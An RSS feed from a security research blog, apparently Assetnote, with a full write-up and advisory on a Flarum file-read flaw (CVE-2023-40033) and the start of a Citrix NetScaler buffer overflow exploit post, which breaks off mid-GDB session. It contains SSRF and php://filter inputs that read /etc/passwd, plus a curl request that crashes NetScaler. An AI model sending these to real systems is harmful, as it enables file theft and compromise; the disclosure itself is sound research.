<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Assetnote</title>
    <description>Application security issues found by Assetnote</description>
    <link>https://blog.assetnote.io/</link>
    <atom:link href="https://blog.assetnote.io/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>High Signal Detection and Exploitation of Ivanti's Pulse Connect Secure Auth Bypass &amp; RCE</title>
        <description>
</description>
        <pubDate>Fri, 19 Jan 2024 00:00:00 +1100</pubDate>
        <link>https://blog.assetnote.io/2024/01/19/ivanti-pulse-connect-secure-auth-bypass-rce/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2024/01/19/ivanti-pulse-connect-secure-auth-bypass-rce/</guid>
      </item>
    
      <item>
        <title>Citrix Bleed: Leaking Session Tokens with CVE-2023-4966</title>
        <description>
</description>
        <pubDate>Tue, 24 Oct 2023 08:35:11 +1100</pubDate>
        <link>https://blog.assetnote.io/2023/10/24/citrixbleed-CVE-2023-4966/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/10/24/citrixbleed-CVE-2023-4966/</guid>
      </item>
    
      <item>
        <title>RCE in Progress WS_FTP Ad Hoc via IIS HTTP Modules (CVE-2023-40044)</title>
        <description>
</description>
        <pubDate>Wed, 04 Oct 2023 08:33:19 +1100</pubDate>
        <link>https://blog.assetnote.io/2023/10/04/rce-progress-ws-ftp/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/10/04/rce-progress-ws-ftp/</guid>
      </item>
    
      <item>
        <title>Leaking File Contents with a Blind File Oracle in Flarum</title>
        <description>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;Flarum is a free, open source PHP-based forum software used for everything from gaming hobbyist sites to cryptocurrency discussion. A quick survey on Shodan suggests there are over 1200 installs exposed to the internet.&lt;/p&gt;

&lt;p&gt;Through our research we were able to leak the contents of arbitrary local files in Flarum through a blind oracle, and conduct blind SSRF attacks with only a basic user account.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;We continue to perform original security research in an effort to alert our customers to zero-day vulnerabilities in their attack surface. As users of our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management&lt;/a&gt; platform, our customers are the first to know when they are affected by new vulnerabilities.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;understanding-the-flarum-software&quot;&gt;Understanding the Flarum Software&lt;/h1&gt;

&lt;p&gt;Since Flarum is open source software, there was no need for reverse engineering. We quickly realised that the vast majority of code for a Flarum installation comes from the &lt;code&gt;flarum/framework&lt;/code&gt; repository, which is available &lt;a href=&quot;https://github.com/flarum/framework&quot;&gt;on Github&lt;/a&gt;. The first step in analysing the application was to figure out which routes were accessible. Unlike many other software applications we assess at Assetnote, due to Flarum’s nature as forum software, the majority of installations typically permit users to create their own accounts. This means that authenticated routes are also interesting, as long as they don’t require administrative permissions.&lt;/p&gt;

&lt;p&gt;We quickly figured out that files called &lt;code&gt;routes.php&lt;/code&gt; in different directories provided routing for most of the application, and in particular that &lt;code&gt;framework/core/src/Api/routes.php&lt;/code&gt; listed a lot of interesting routes:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;
use Flarum\Api\Controller;
use Flarum\Http\RouteCollection;
use Flarum\Http\RouteHandlerFactory;

return function (RouteCollection $map, RouteHandlerFactory $route) {
    // Get forum information
    $map-&amp;gt;get(
        '/',
        'forum.show',
        $route-&amp;gt;toController(Controller\ShowForumController::class)
    );

    ... 

    // Send test mail post
    $map-&amp;gt;post(
        '/mail/test',
        'mailTest',
        $route-&amp;gt;toController(Controller\SendTestMailController::class)
    );
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We quickly ruled out a lot of otherwise interesting routes that required admin permissions, such as &lt;code&gt;/mail/test&lt;/code&gt;. After a while of looking through the code route by route, we identified a potentially interesting API endpoint that allowed users to update their forum avatar:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// Upload avatar
$map-&amp;gt;post(
    '/users/{id}/avatar',
    'users.avatar.upload',
    $route-&amp;gt;toController(Controller\UploadAvatarController::class)
);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We then dived into the &lt;code&gt;UploadAvatarController&lt;/code&gt; for a closer look.&lt;/p&gt;

&lt;h1 id=&quot;looking-at-the-upload-functionality&quot;&gt;Looking at the Upload Functionality&lt;/h1&gt;

&lt;p&gt;The code of the &lt;code&gt;UploadAvatarController&lt;/code&gt; is very straightforward:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;protected function data(ServerRequestInterface $request, Document $document)
{
    $id = Arr::get($request-&amp;gt;getQueryParams(), 'id');
    $actor = RequestUtil::getActor($request);
    $file = Arr::get($request-&amp;gt;getUploadedFiles(), 'avatar');

    return $this-&amp;gt;bus-&amp;gt;dispatch(
        new UploadAvatar($id, $file, $actor)
    );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The route takes a user &lt;code&gt;id&lt;/code&gt; in the query parameter, and a file upload named &lt;code&gt;avatar&lt;/code&gt;, and dispatches an &lt;code&gt;UploadAvatar&lt;/code&gt; action to the bus. This is then handled in the &lt;code&gt;UploadAvatarHandler&lt;/code&gt; class in &lt;code&gt;framework/core/src/User/Command/UploadAvatarHandler.php&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;class UploadAvatarHandler
{
    use DispatchEventsTrait;

    ...

    /**
     * @var ImageManager
     */
    protected $imageManager;

    ...

    public function handle(UploadAvatar $command)
    {
        $actor = $command-&amp;gt;actor;

        $user = $this-&amp;gt;users-&amp;gt;findOrFail($command-&amp;gt;userId);

        if ($actor-&amp;gt;id !== $user-&amp;gt;id) {
            $actor-&amp;gt;assertCan('edit', $user);
        }

        $this-&amp;gt;validator-&amp;gt;assertValid(['avatar' =&amp;gt; $command-&amp;gt;file]);

        $image = $this-&amp;gt;imageManager-&amp;gt;make($command-&amp;gt;file-&amp;gt;getStream());

        $this-&amp;gt;events-&amp;gt;dispatch(
            new AvatarSaving($user, $actor, $image)
        );

        $this-&amp;gt;uploader-&amp;gt;upload($user, $image);

        $user-&amp;gt;save();

        $this-&amp;gt;dispatchEventsFor($user, $actor);

        return $user;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here the function checks we have access to change the avatar of the user with that ID, which prevents a trivial IDOR. However, we are more interested in the behavior of the &lt;code&gt;imageManager-&amp;gt;make&lt;/code&gt; function. The &lt;code&gt;ImageManager&lt;/code&gt; is sourced from the Intervention Image library. What is that?&lt;/p&gt;

&lt;h1 id=&quot;when-library-code-is-dangerous-by-default&quot;&gt;When Library Code is Dangerous by Default&lt;/h1&gt;

&lt;p&gt;Intervention Image &lt;a href=&quot;https://image.intervention.io/v2&quot;&gt;is a PHP image handling and manipulation library&lt;/a&gt; that provides a simple interface to load, store, and edit images. Let’s start by looking at the documentation for the &lt;code&gt;ImageManager&lt;/code&gt;’s &lt;code&gt;make&lt;/code&gt; method:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Universal factory method to create a new image instance from source. The method is highly variable to read all the input types listed below.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The library then lists a bunch of methods you can use to supply an image:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    string - Path of the image in filesystem.
    string - URL of an image (allow_url_fopen must be enabled).
    string - Binary image data.
    string - Data-URL encoded image data.
    string - Base64 encoded image data.
    resource - PHP resource of type gd. (when using GD driver)
    object - Imagick instance (when using Imagick driver)
    object - Intervention\Image\Image instance
    object - SplFileInfo instance (To handle Laravel file uploads via Symfony\Component\HttpFoundation\File\UploadedFile)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This immediately raises alarm bells. We are providing a string to this method (not exactly, but an object with a &lt;code&gt;__toString()&lt;/code&gt; magic method) and have full control. In the happy path, this just ‘works’ since one of the options is binary image data. But what happens if we upload a file containing a URL?&lt;/p&gt;

&lt;p&gt;To understand the impact, let’s dive into the sources of the image library:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;namespace Intervention\Image;

abstract class AbstractDecoder
{
    // ...

    public function init($data)
    {
        $this-&amp;gt;data = $data;

        switch (true) {

            case $this-&amp;gt;isGdResource():
                return $this-&amp;gt;initFromGdResource($this-&amp;gt;data);

            case $this-&amp;gt;isImagick():
                return $this-&amp;gt;initFromImagick($this-&amp;gt;data);

            case $this-&amp;gt;isInterventionImage():
                return $this-&amp;gt;initFromInterventionImage($this-&amp;gt;data);

            case $this-&amp;gt;isSplFileInfo():
                return $this-&amp;gt;initFromPath($this-&amp;gt;data-&amp;gt;getRealPath());

            case $this-&amp;gt;isBinary():
                return $this-&amp;gt;initFromBinary($this-&amp;gt;data);

            case $this-&amp;gt;isUrl():
                return $this-&amp;gt;initFromUrl($this-&amp;gt;data);

            case $this-&amp;gt;isStream():
                return $this-&amp;gt;initFromStream($this-&amp;gt;data);

            case $this-&amp;gt;isDataUrl():
                return $this-&amp;gt;initFromBinary($this-&amp;gt;decodeDataUrl($this-&amp;gt;data));

            case $this-&amp;gt;isFilePath():
                return $this-&amp;gt;initFromPath($this-&amp;gt;data);

            // isBase64 has to be after isFilePath to prevent false positives
            case $this-&amp;gt;isBase64():
                return $this-&amp;gt;initFromBinary(base64_decode($this-&amp;gt;data));

            default:
                throw new NotReadableException(&quot;Image source not readable&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We are interested in particular in the functionality when the string supplied is a URL, so let’s see what checks are done:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;    public function isUrl()
    {
        return (bool) filter_var($this-&amp;gt;data, FILTER_VALIDATE_URL);
    }

    // ...

    public function initFromUrl($url)
    {
        
        $options = [
            'http' =&amp;gt; [
                'method'=&amp;gt;&quot;GET&quot;,
                'protocol_version'=&amp;gt;1.1, // force use HTTP 1.1 for service mesh environment with envoy
                'header'=&amp;gt;&quot;Accept-language: en\r\n&quot;.
                &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\r\n&quot;
          ]
        ];
        
        $context  = stream_context_create($options);
        

        if ($data = @file_get_contents($url, false, $context)) {
            return $this-&amp;gt;initFromBinary($data);
        }

        throw new NotReadableException(
            &quot;Unable to init from given url (&quot;.$url.&quot;).&quot;
        );
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Our user input gets passed into &lt;code&gt;file_get_contents&lt;/code&gt; without any validation, except that it must ‘look like’ a URL! This is known to be incredibly dangerous. The one limitation is that the content to leak must be a valid image, otherwise an error is thrown when the library parses the contents. We can start to brainstorm ways we can abuse this functionality:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We could pass an internal URL such as &lt;code&gt;http://localhost:8100/favicon.ico&lt;/code&gt;, and possibly leak that image if it exists.&lt;/li&gt;
  &lt;li&gt;We could pass an internal URL such as &lt;code&gt;http://localhost:9001/do/evil/action?param=foo&lt;/code&gt;, and conduct a blind SSRF attack.&lt;/li&gt;
  &lt;li&gt;More worryingly, despite the stream context, PHP is happy to accept a &lt;code&gt;file&lt;/code&gt; URI, so an input like &lt;code&gt;file:///home/foo/secret.png&lt;/code&gt; could possibly reveal the contents of an image on the local filesystem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While these definitely are vulnerabilities, they are context-dependent and are not so impactful. Can we do better? It turns out, using blind file oracle, we can!&lt;/p&gt;

&lt;h1 id=&quot;blind-file-oracles-101&quot;&gt;Blind File Oracles 101&lt;/h1&gt;

&lt;p&gt;First revealed in the DownUnderCTF 2022, there is a technique for leaking the contents of arbitrary files using the &lt;code&gt;php://&lt;/code&gt; wrapper even if the output of the file read is not given to the user. In our case, the files we want to read are most likely not going to form valid images, so this is a perfect application of this technique. In summary, this attack hinges on two features of the &lt;code&gt;php://filter&lt;/code&gt; wrapper.&lt;/p&gt;

&lt;p&gt;The first is that the filter wrapper supports converting between two different charsets using the &lt;code&gt;convert.iconv&lt;/code&gt; function. For instance, the request &lt;code&gt;php://filter/convert.iconv.latin1.UTF-32/resource=/etc/passwd&lt;/code&gt; would take the contents of &lt;code&gt;/etc/passwd&lt;/code&gt; and convert it from the latin1 charset to UTF-32. In this case, the file content gets mapped to something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;latin1: root:x: 
UTF-32: r\0\0\0o\0\0\0o\0\0\0t\0\0\0:\0\0\0x\0\0\0:\0\0\0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note how the output blows up 4x in size, because each latin1 char is encoded in a fixed 4 bytes of UTF-32. If we repeat this process, the string will blow up to 16x, 64x, 256x size, and so on, and eventually the string will grow so large it will exceed the memory limit and cause the PHP process to stop and return 500. However, if the file we point to is empty or does not exist, no 500 error will be generated. This forms an oracle we can use to test for emptiness.&lt;/p&gt;

&lt;p&gt;On its own this is not so useful, but PHP has another interesting ‘feature’ - the &lt;code&gt;dechunk&lt;/code&gt; filter. The &lt;code&gt;dechunk&lt;/code&gt; filter was intended for parsing HTTP chunks, but its behavior on arbitrary strings are as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If the string is a single line and begins with one of &lt;code&gt;0-9a-fA-F&lt;/code&gt;, the whole line is removed;&lt;/li&gt;
  &lt;li&gt;Otherwise, the string remains untouched.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can now leak information from a file as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Base64 encode the file using the &lt;code&gt;convert.base64-encode&lt;/code&gt; function;&lt;/li&gt;
  &lt;li&gt;Apply the dechunk filter;&lt;/li&gt;
  &lt;li&gt;Blow up the string multiple times using a latin1 - UTF32 conversion.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we don’t get a 500, we know that the file contents in base64 must have started with one of &lt;code&gt;0-9a-fA-F&lt;/code&gt;. Otherwise, if we do get a 500, we know it can’t have started with those characters (so it must be in &lt;code&gt;g-zG-Z+/&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;The full file leak is more complicated and uses multiple iconv conversions to swap other characters to the front and precisely determine which character is at the front. The gory details are explained in the original challenge’s &lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py&quot;&gt;solution script&lt;/a&gt; and in a &lt;a href=&quot;https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle&quot;&gt;blog post written by Synacktiv&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Summarising, with a simple modification to the above script we are able to use the technique to leak the contents of any file on the server.&lt;/p&gt;

&lt;h1 id=&quot;remediation&quot;&gt;Remediation&lt;/h1&gt;

&lt;p&gt;Flarum fixed this vulnerability promptly and versions &lt;code&gt;&amp;gt;= 1.8.0&lt;/code&gt; are no longer vulnerable. Their advisory is available &lt;a href=&quot;https://github.com/flarum/framework/security/advisories/GHSA-67c6-q4j4-hccg&quot;&gt;here&lt;/a&gt;. The vulnerability was assigned CVE-2023-40033.&lt;/p&gt;

&lt;p&gt;We have tried reaching out to the developers of &lt;code&gt;Intervention/Image&lt;/code&gt; several times with some suggestions to make the library less vulnerable by default, but have got no response. If you are using this library, the best way to ensure you are not vulnerable is by never passing user data directly into the constructor; if you are wanting to turn an upload into an image, pass the file path to the uploaded tempfile instead.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;In this blog post, we have seen that a small error in how a library for image manipulation was used resulted in the ability to leak the contents of any file on disk. We have also shown that the PHP blind file oracle which originated in a CTF challenge has real-world applicability and should be kept in mind when auditing PHP source code.&lt;/p&gt;

&lt;p&gt;As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.&lt;/p&gt;
</description>
        <pubDate>Mon, 28 Aug 2023 08:00:00 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/08/28/leaking-file-contents-with-a-blind-file-oracle-in-flarum/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/08/28/leaking-file-contents-with-a-blind-file-oracle-in-flarum/</guid>
      </item>
    
      <item>
        <title>Advisory: Flarum LFI - CVE-2023-40033</title>
        <description>&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;An attacker with a basic user forum account can specify a malicious avatar URL that discloses the contents of arbitrary local files on the file system.&lt;/p&gt;

&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;

&lt;p&gt;An attacker can read the contents of any local file. An attacker can also conduct blind SSRF attacks.&lt;/p&gt;

&lt;h2 id=&quot;affected-software&quot;&gt;Affected Software&lt;/h2&gt;

&lt;p&gt;The following versions are affected by this vulnerability:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;flarum/framework &amp;lt; 1.8.0&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;product-description&quot;&gt;Product Description&lt;/h2&gt;

&lt;p&gt;Flarum is a delightfully simple discussion platform for your website. It’s fast, free, and easy to use, with all the features you need to run a successful community. It’s also extremely extensible, allowing for ultimate customizability.&lt;/p&gt;

&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;

&lt;p&gt;Upgrade to the latest version of flarum/framework, &amp;gt;= 1.8.0.&lt;/p&gt;

&lt;p&gt;Flarum &lt;a href=&quot;https://github.com/flarum/framework/security/advisories/GHSA-67c6-q4j4-hccg&quot;&gt;has released an advisory here&lt;/a&gt;. The vulnerability was assigned CVE-2023-40033.&lt;/p&gt;

&lt;h2 id=&quot;blog-post&quot;&gt;Blog Post&lt;/h2&gt;

&lt;p&gt;The blog post detailing the steps taken for the discovery of this vulnerability can be found &lt;a href=&quot;/2023/08/28/leaking-file-contents-with-a-blind-file-oracle-in-flarum/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;credits&quot;&gt;Credits&lt;/h2&gt;

&lt;p&gt;Adam Kues - Assetnote Security Research Team&lt;/p&gt;
</description>
        <pubDate>Mon, 28 Aug 2023 07:00:00 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/08/28/advisory-flarum-lfi/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/08/28/advisory-flarum-lfi/</guid>
      </item>
    
      <item>
        <title>Finding and Exploiting Citrix NetScaler Buffer Overflow (CVE-2023-3519) (Part 3)</title>
        <description>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;A lot has been written about the recent Citrix NetScaler buffer overflow. In the initial rush to get information and platform checks out to customers, some details may not have been fully explained. In this post we hope to rectify that by detailing the full process from the initial announcement to a working exploit.&lt;/p&gt;

&lt;p&gt;For a brief background on the vulnerability, on July 18 2023 Citrix &lt;a href=&quot;https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467&quot;&gt;announced&lt;/a&gt; an unauthenticated remote code execution vulnerability in Citrix ADC and Citrix Gateway. No details or IOCs were provided and we began reversing the patch to determine if it was applicable for our platform. Our previous analyses are available &lt;a href=&quot;https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We have added a python script demonstrating our exploit for version &lt;code&gt;13.1-48.47&lt;/code&gt; of Citrix Netscaler to GitHub: &lt;a href=&quot;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&quot;&gt;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&lt;/a&gt;. Some tweaks are required for other versions, but we leave that as an exercise for the reader.&lt;/p&gt;

&lt;h1 id=&quot;patch-diffing&quot;&gt;Patch Diffing&lt;/h1&gt;

&lt;p&gt;We started by downloading and configuring the two most recent versions of Citrix NetScaler, which were 13.1-48.47 and 13.1-49.13. From some of our &lt;a href=&quot;https://blog.assetnote.io/2023/06/29/binary-reversing-citrix-xss/&quot;&gt;previous work&lt;/a&gt; we knew that the Citrix Gateway component was handled by the &lt;code&gt;/netscaler/nsppe&lt;/code&gt; binary. This is the NetScaler Packet Processing Engine (&lt;code&gt;nsppe&lt;/code&gt;) and it implements a complete network stack along with multiple HTTP services. We took the patched (49.13) and unpatched (48.47) versions of these binaries and decompiled them with Ghidra. Because the binary is so large we had to tweak some of the Ghidra decompilation settings to ensure success.&lt;/p&gt;

&lt;p&gt;We bumped up the decompiler resources under Edit -&amp;gt; Tool Options -&amp;gt; Decompiler to the following.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cache Size (Functions): 2048&lt;/li&gt;
  &lt;li&gt;Decompiler Max-Payload (Mbytes): 512&lt;/li&gt;
  &lt;li&gt;Decompiler Timeout (seconds): 900&lt;/li&gt;
  &lt;li&gt;Max Instructions per Function: 3000000&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After decompiling each binary, we generated a BinDiff file for each one with the &lt;a href=&quot;https://github.com/google/binexport&quot;&gt;BinExport Ghidra extension&lt;/a&gt;. These were then compared in BinDiff and we started looking at each function that had detected changes. For most of these functions, rather than compare them directly in BinDiff we took the decompiled code for the functions from Ghidra and compared them textually.&lt;/p&gt;

&lt;p&gt;The first notable function we found was &lt;code&gt;ns_aaa_saml_parse_authn_request&lt;/code&gt;, which unfortunately turned out to be a red herring. While the patch did include a fix for a memory corruption vulnerability in this function, there was no immediately obvious way to pivot it to remote code execution. No CVE has been raised for the potential denial of service that is possible as a result of this vulnerability.&lt;/p&gt;

&lt;p&gt;We kept looking, comparing each function identified by BinDiff until we came across &lt;code&gt;ns_aaa_gwtest_get_event_and_target_names&lt;/code&gt;. We saw what looked like an additional length check in the patched version of the code.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Unpatched Version
if (iVar3 + 1 == iVar7 + -6) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
    pcVar8 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

// Patched Version, note the iVar3 &amp;lt; 0x80 length check
if ((iVar3 + 1 == uVar8 - 6) &amp;amp;&amp;amp; (uVar9 = 0x160010, iVar3 &amp;lt; 0x80)) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
    pcVar7 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We traced the calls to &lt;code&gt;ns_aaa_gwtest_get_event_and_target_names&lt;/code&gt; with Ghidra to &lt;code&gt;ns_aaa_gwtest_handler&lt;/code&gt; which contained the second part of the URL, &lt;code&gt;/formssso&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;if (uVar7 != 0x6d726f66) {
    return 0x20;
}
// 0x6f7373736d726f66 == formssso
if ((*puVar1 | 0x2020202020202020) != 0x6f7373736d726f66) {
    return 0x20;
}
if ((*(byte *)(lVar2 + 0x10) | 0x20) != 0x3f) {
    return 0x20;
}
lVar5 = ns_aaa_gwtest_get_valid_fsso_server(param_2);
if (lVar5 == 0) {
    return 0xf43;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Looking a bit further back in the call graph we found &lt;code&gt;ns_aaa_gwtest_handler&lt;/code&gt; was called by &lt;code&gt;ns_vpn_process_unauthenticated_request&lt;/code&gt;. Here we found the first part of the URL, &lt;code&gt;/gwtest/&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt; // 0x2f7473657477672f == /gwtest/
if ((*puVar5 | 0x2020202020202020) == 0x2f7473657477672f) goto code_r0x00743e2d;
...
code_r0x00743e2d:
if ((ns_async_ctx != 0) &amp;amp;&amp;amp; (*(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) != 0x28c)) {
    panic(&quot;Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST&quot;);
}
ns_async_callers_context_size = ns_async_callers_context_size + 0xc0;
if (ns_async_ctx != 0) {
    if (*(int *)(ns_async_ctx + 8) != -0x5310ff3) goto LAB_0075c646;
    if ((ns_async_callers_context_size &amp;lt; *(uint *)(ns_async_ctx + 0x68)) &amp;amp;&amp;amp;
        (0x610 &amp;lt; *(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) - 0xacU)) {
        goto LAB_00745ba5;
    }
}
iVar14 = ns_aaa_gwtest_handler(local_58,local_50,0,local_80,0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We now had the endpoint, &lt;code&gt;/gwtest/formssso&lt;/code&gt;, but didn’t know how to call it. To do this we looked at the Ghidra output for &lt;code&gt;ns_aaa_gwtest_get_event_and_target_names&lt;/code&gt;. We found that it expected an &lt;code&gt;event&lt;/code&gt; query parameter which needed to have a value of either &lt;code&gt;start&lt;/code&gt; or &lt;code&gt;done&lt;/code&gt;. It then checked for a &lt;code&gt;target&lt;/code&gt; query parameter and passed the value to the vulnerable &lt;code&gt;ns_aaa_saml_url_decode&lt;/code&gt; function. A cut-down version of this function is included below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;undefined8 ns_aaa_gwtest_get_event_and_target_names(long param_1,long param_2,uint *param_3)
{
    // check for 'event' query parameter
    iVar3 = strncmp(&quot;event=&quot;,local_38,6);
    if (iVar3 == 0) {
    	// check value is 'start'
        iVar3 = strncmp((char *)(lVar6 + 0x17),&quot;start&amp;amp;&quot;,6);
        if (iVar3 != 0) {
            iVar3 = strncmp((char *)(lVar6 + 0x17),&quot;done&amp;amp;&quot;,5);
        }
        // check for 'target' query parameter
        __s2 = (char *)(lVar6 + lVar5);
        iVar3 = strncmp(&quot;target=&quot;,__s2,7);
        if (iVar3 == 0) {
        	// point to the value of the 'target' query parameter
            pcVar1 = __s2 + 7;
            iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We sent through the following request and caused a server crash. The next step was to figure out a way to understand the crash without getting too frustrated at the lack of tooling.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ curl -k 'https://192.168.1.225/gwtest/formssso?event=start&amp;amp;target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;debugging-citrix-netscaler&quot;&gt;Debugging Citrix NetScaler&lt;/h1&gt;

&lt;p&gt;The biggest problem was that the &lt;code&gt;nsppe&lt;/code&gt; binary we were trying to analyse is also responsible for all network traffic in and out of the VM. If we attach a debugger while in an SSH session the connection is immediately severed. This meant we had to do everything in the VM console window, which was small, didn’t support copy / paste and was occasionally spammed with log messages from other processes. It also meant we couldn’t use any GDB plugins like PEDA to aid exploit development.&lt;/p&gt;

&lt;p&gt;Luckily for us, the VM included a copy of GDB and GDBServer. Normally GDBServer is used over TCP, however it also supports serial devices. We added a virtual serial device to our VM and tested it out. Sending data over the new serial device worked without issue.&lt;/p&gt;

&lt;p&gt;However, when it came to GDB and GDBServer the connection would never work. We suspected it had something to do with the file not being a “serial device” on the MacOS side of the connection. There was no option in the GUI for VMware Fusion to configure the device any other way. But, we found we could edit the &lt;code&gt;.vmx&lt;/code&gt; file and changed the serial device to the following.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;serial0.fileType = &quot;network&quot;
serial0.fileName = &quot;telnet://:12345&quot;
serial0.present = &quot;TRUE&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;With this setup VMware listened on tcp port 12345 on the host and forwarded the connection to the serial device in the VM. We could now get a full debugging session working with GDB running locally with PEDA installed.&lt;/p&gt;

&lt;p&gt;The first step was suspending the &lt;code&gt;pitboss&lt;/code&gt; monitoring process. This process automatically restarted &lt;code&gt;nsppe&lt;/code&gt; if it detected it not responding. To suspend &lt;code&gt;pitboss&lt;/code&gt; we attached to it with GDB and just left in the background.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@ns# gdb -p 27 &amp;amp;
[1] 996
root@ns# GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type &quot;show copying&quot; and &quot;show warranty&quot; for details.
This GDB was configured as &quot;x86_64-unknown-freebsd11.4&quot;.
Type &quot;show configuration&quot; for configuration details.
